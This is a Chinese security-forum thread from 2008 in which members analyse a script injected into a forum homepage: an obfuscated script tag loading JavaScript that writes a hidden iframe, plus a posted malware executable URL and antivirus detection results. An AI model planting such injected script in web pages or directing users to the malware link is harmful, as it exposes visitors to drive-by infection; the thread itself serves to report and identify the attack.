trojan8

显示全部楼层 · 发表于 2008-5-3 02:26:11

混的一个论坛首页被加入如下代码：
</html><script language=javascript src=http://%33%2E%74%72%6F%6A%61%6E%38%2E%63%6F%6D/js.js></script>

该JS文件内容为：document.write("<iframe src=http://3.trojan8.com/index2.htm width=100 height=1 frameborder=0></iframe>");

所包含网址上肉眼只看的见一个我要啦的免费统计。
EQ日志：

该网站有什么危害？只知道这可能是RealPlay漏洞

显示全部楼层 · 发表于 2008-5-3 03:54:54

动手解密的话解到天亮都解不完

用freshow的来看看一下

显示全部楼层 · 发表于 2008-5-3 10:45:09

http://2.trojan8.com/mm/dd.exe

显示全部楼层 · 发表于 2008-5-3 10:48:44

原帖由 granthill 于 2008-5-3 10:45 发表
 http://2.trojan8.com/mm/dd.exe

显示全部楼层 · 发表于 2008-5-3 10:55:53

的确这个最近比较活跃。。
监视中。。

显示全部楼层 · 发表于 2008-5-3 11:03:56

刚走了MM又来了DD

显示全部楼层 · 发表于 2008-5-3 11:21:00

Roboon：KIS8

显示全部楼层 · 发表于 2008-5-3 11:55:11

Virus or unwanted program 'HEUR/Crypted [heuristic]'
detected in file 'C:\Documents and Settings\cnelf\Local Settings\Temporary Internet Files\Content.IE5\KT69N4ZA\dd[1].exe.
Action performed: Move file to quarantine

显示全部楼层 · 发表于 2008-5-3 17:44:12

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Trojan.Win32.Undef.fqe

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.42.50

[已鉴定] trojan8

回复 5楼 jimmyleo 的帖子

4/1